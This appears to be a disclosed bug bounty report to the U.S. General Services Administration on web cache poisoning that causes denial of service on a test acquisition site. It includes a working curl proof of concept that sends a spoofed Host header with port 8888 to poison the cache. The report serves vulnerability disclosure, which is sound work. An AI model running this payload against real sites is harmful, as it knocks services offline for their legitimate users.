U.S. General Services Administration · Report #1346618
Web Cache Poisoning leading to DoS
Validstatus
mediumseverity
19upvotes
8 Nov 2021disclosed
How it was found
Summary:
acquisition-uat.gsa.gov is vulnerable to web cache poisoning that can lead to Denial of Service (DoS) in the application.
Steps To Reproduce:
- Visit https://acquisition-uat.gsa.gov/?letme=4449 to make sure the service is available.
Note:
letme=4449is used as cache buster as we do not want to poison the application without parameter. - Poison the link using
curlcommand
curl https://acquisition-uat.gsa.gov/\?letme\=4447 -H "Host: acquisition-uat.gsa.gov:8888"
- Visit https://acquisition-uat.gsa.gov/?letme=4449 to verify that application is in the state of DoS as it attempts to make plenty of requests to
acquisition-uat.gsa.gov:8888.
Impact
The attacker can carry out web cache poisoning to prevent others from accessing the application.